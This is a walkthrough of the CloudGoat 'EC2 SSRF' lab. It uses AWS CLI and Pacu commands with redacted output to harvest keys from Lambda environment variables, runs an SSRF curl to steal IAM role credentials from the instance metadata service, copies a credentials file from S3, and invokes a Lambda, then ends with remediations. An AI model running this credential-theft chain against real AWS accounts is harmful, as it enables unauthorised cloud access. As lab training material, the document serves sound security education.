EC2 SSRF Walkthrough
What is EC2 SSRF?
Section titled “What is EC2 SSRF?”SSRF (Server-Side Request Forgery) on an EC2-hosted application allows an attacker to make the instance send HTTP requests on their behalf.
When EC2 SSRF occurs on an AWS environment, the biggest risk is access to the Instance Metadata Service (IMDS), which exposes temporary IAM credentials for the EC2 instance role.
🚨 What Damage Can EC2 SSRF Cause?
Section titled “🚨 What Damage Can EC2 SSRF Cause?”- Steal AWS credentials from the metadata service (
169.254.169.254) - Assume the EC2 instance role and pivot into AWS
- Access or modify S3 buckets, EC2 resources, IAM, Lambda, or DynamoDB (depending on the role privileges)
- Escalate privilege by chaining cloud services
- Maintain persistence inside the AWS account
In container-based EC2 workloads, SSRF can lead to full cluster compromise when additional misconfigurations exist.
1. Enumeration
Section titled “1. Enumeration”1.1 Initial Access (Credentials)
Section titled “1.1 Initial Access (Credentials)”# cloudgoat output (redacted)cloudgoat_output_solus_access_key_id = <REDACTED_ACCESS_KEY_ID>cloudgoat_output_solus_secret_key = <REDACTED_SECRET_ACCESS_KEY>1.2 Verify Access (Command + Output)
Section titled “1.2 Verify Access (Command + Output)”Command to verify the identity for the solus profile:
aws sts get-caller-identity --profile solusOutput (redacted):
{ "UserId": "<REDACTED_USER_ID>", "Account": "710506681373", "Arn": "arn:aws:iam::710506681373:user/solus-cgidnpyhcua6az"}1.3 Checking User Permissions (Pacu)
Section titled “1.3 Checking User Permissions (Pacu)”Using Pacu to enumerate permissions for solus.
# Pacu 'whoami' output (sensitive fields redacted){ "UserName": "solus-cgidnpyhcua6az", "Arn": "arn:aws:iam::710506681373:user/solus-cgidnpyhcua6az", "AccountId": "710506681373", "UserId": "<REDACTED_USER_ID>", "AccessKeyId": "<REDACTED_ACCESS_KEY_ID>", "SecretAccessKey": "<REDACTED_SECRET_ACCESS_KEY>", "SessionToken": null, "Permissions": { "Allow": [ "lambda:ListEventSourceMappings", "lambda:ListFunctions", "lambda:GetAccountSettings", "lambda:ListLayers", "sts:GetSessionToken", "sts:GetCallerIdentity", "dynamodb:DescribeEndpoints" ] }}The
solususer can enumerate Lambda functions (ListFunctions, GetAccountSettings). While it cannot invoke functions, this access can reveal secrets stored in function environment variables.
2. Lambda Discovery
Section titled “2. Lambda Discovery”2.1 List Lambda Functions (Command + Output)
Section titled “2.1 List Lambda Functions (Command + Output)”Command used to enumerate functions:
aws lambda list-functions --profile solusOutput (truncated; environment variables redacted):
{ "Functions": [ { "FunctionName": "cg-lambda-cgidnpyhcua6az", "FunctionArn": "arn:aws:lambda:us-east-1:710506681373:function:cg-lambda-cgidnpyhcua6az", "Runtime": "python3.11", "Description": "Invoke this Lambda function for the win!", "Environment": { "Variables": { "EC2_ACCESS_KEY_ID": "<REDACTED_ACCESS_KEY_ID>", "EC2_SECRET_KEY_ID": "<REDACTED_SECRET_ACCESS_KEY>" } } } ]}The Lambda function contained hardcoded credentials in environment variables (redacted above).
3. Lateral Movement
Section titled “3. Lateral Movement”3.1 Configure Harvested Credentials (Verify)
Section titled “3.1 Configure Harvested Credentials (Verify)”Confirming harvested credentials’ identity (redacted output):
aws sts get-caller-identity --profile ec2{ "UserId": "<REDACTED_USER_ID>", "Account": "710506681373", "Arn": "arn:aws:iam::710506681373:user/wrex-cgidnpyhcua6az"}Example of configuring harvested credentials (input examples; values redacted):
$ aws configure --profile ec2AWS Access Key ID [None]: <REDACTED_ACCESS_KEY_ID>AWS Secret Access Key [None]: <REDACTED_SECRET_ACCESS_KEY>Default region name [None]: us-east-1Default output format [None]: json3.2 Permission Discovery (Pacu)
Section titled “3.2 Permission Discovery (Pacu)”Pacu ‘whoami’ output for the harvested principal (sensitive fields redacted):
{ "UserName": "wrex-cgidnpyhcua6az", "Arn": "arn:aws:iam::710506681373:user/wrex-cgidnpyhcua6az", "AccountId": "710506681373", "UserId": "<REDACTED_USER_ID>", "AccessKeyId": "<REDACTED_ACCESS_KEY_ID>", "SecretAccessKey": "<REDACTED_SECRET_ACCESS_KEY>", "SessionToken": null, "Permissions": { "Allow": [ "dynamodb:DescribeEndpoints", "sts:GetCallerIdentity", "sts:GetSessionToken", "ec2:DescribeInstances", "ec2:DescribeSubnets", "ec2:DescribeSecurityGroups", "ec2:DescribeVolumes", "ec2:DescribeVpcs", "ec2:DescribeRegions" ] }}The
wrexprincipal has broad EC2 read access. This allows enumeration of instances, metadata, tags, public IPs and associated security groups for reconnaissance.
4. EC2 Enumeration
Section titled “4. EC2 Enumeration”4.1 Identify EC2 Instances and IAM Roles (Command + Output)
Section titled “4.1 Identify EC2 Instances and IAM Roles (Command + Output)”Command used:
aws ec2 describe-instances --profile ec2Output (truncated):
{ "Reservations": [ { "Instances": [ { "InstanceId": "i-0be338a1c4eb2c92f", "InstanceType": "t3.micro", "PublicIpAddress": "54.163.200.119", "IamInstanceProfile": { "Arn": "arn:aws:iam::710506681373:instance-profile/cg-ec2-instance-profile-cgid058vrup94h" }, "Tags": [ { "Key": "Name", "Value": "cg-ubuntu-ec2-cgid058vrup94h" } ], "MetadataOptions": { "HttpTokens": "optional", "HttpEndpoint": "enabled" } } ] } ]}Public IP discovered:
54.163.200.119— useful for SSRF testing against the instance’s metadata service.
4.2 User-Data Enumeration (Command + Output)
Section titled “4.2 User-Data Enumeration (Command + Output)”Command used to fetch user-data via the vulnerable SSRF endpoint:
curl 'http://54.163.200.119/?url=http://169.254.169.254/latest/user-data'Output (startup script):
#!/bin/bashapt-get updatecurl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -DEBIAN_FRONTEND=noninteractive apt-get -y install nodejs unzipcd /home/ubuntuunzip app.zip -d ./appcd appnpm installsudo node app.js &# (crontab lines elided)User-data did not contain sensitive credentials.
4.3 SSRF Attack Against Instance Metadata (Command + Output)
Section titled “4.3 SSRF Attack Against Instance Metadata (Command + Output)”The vulnerable application relayed metadata requests. Example command:
curl 'http://<vuln-host>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidfz7bdvzt79'Returned credentials (redacted):
{ "Code": "Success", "LastUpdated": "2025-06-18T08:31:12Z", "Type": "AWS-HMAC", "AccessKeyId": "<REDACTED_SESSION_ACCESS_KEY_ID>", "SecretAccessKey": "<REDACTED_SESSION_SECRET>", "Token": "<REDACTED_SESSION_TOKEN>", "Expiration": "2025-06-18T14:49:03Z"}4.4 Configure Stolen (Session) Credentials (Example)
Section titled “4.4 Configure Stolen (Session) Credentials (Example)”Example of configuring temporary credentials (values redacted):
$ aws configure --profile ec2_ssrf2AWS Access Key ID [None]: <REDACTED_SESSION_ACCESS_KEY_ID>AWS Secret Access Key [None]: <REDACTED_SESSION_SECRET>AWS Session Token [None]: <REDACTED_SESSION_TOKEN>Default region name [None]: us-east-1Default output format [None]: jsonVerify the configured identity:
aws sts get-caller-identity --profile ec2_ssrf2{ "UserId": "<REDACTED_ASSUMED_ROLE_ID>", "Account": "710506681373", "Arn": "arn:aws:sts::710506681373:assumed-role/cg-ec2-role-cgid058vrup94h/i-0be338a1c4eb2c92f"}5. Privilege Escalation
Section titled “5. Privilege Escalation”5.1 Enumerate S3 Buckets and Retrieve Credentials
Section titled “5.1 Enumerate S3 Buckets and Retrieve Credentials”List buckets accessible to the session:
aws s3 ls --profile ec2_ssrf2Example output (truncated):
2025-12-01 01:30:34 cg-secret-s3-bucket-cgid058vrup94hCopy a credentials file from S3 (example):
aws s3 cp s3://cg-secret-s3-bucket-cgidfz7bdvzt79/aws/credentials . --profile ec2_ssrf2Contents of credentials (redacted):
[default]aws_access_key_id = <REDACTED_ACCESS_KEY_ID>aws_secret_access_key = <REDACTED_SECRET_ACCESS_KEY>region = us-east-1Invoke Lambda Function (admin)
Section titled “Invoke Lambda Function (admin)”If an administrative credential is available, listing and invoking a function may reveal flags or outputs.
Command to list functions as admin (example):
aws lambda list-functions --profile adminExample function listing (env vars redacted):
{ "Functions": [ { "FunctionName": "cg-lambda-cgid058vrup94h", "FunctionArn": "arn:aws:lambda:us-east-1:710506681373:function:cg-lambda-cgid058vrup94h", "Environment": { "Variables": { "EC2_ACCESS_KEY_ID": "<REDACTED_ACCESS_KEY_ID>", "EC2_SECRET_KEY_ID": "<REDACTED_SECRET_ACCESS_KEY>" } } } ]}Invoke the function (example):
aws lambda invoke --function-name cg-lambda-cgid058vrup94h ./out.txt --profile adminCheck output file for interesting content (example):
strings out.txt# -> "You win!" (example)Remediations
Section titled “Remediations”- Do not store persistent AWS credentials inside Lambda environment variables.
- Enforce IAM least privilege. Remove wildcard policies such as
s3:*andcloudwatch:*from high-privilege roles. - Enforce IMDSv2 on EC2 instances to prevent metadata theft via SSRF.
- Implement S3 bucket access controls and SCPs to prevent credential leakage.
- Regularly rotate IAM credentials and monitor CloudTrail events for unusual access.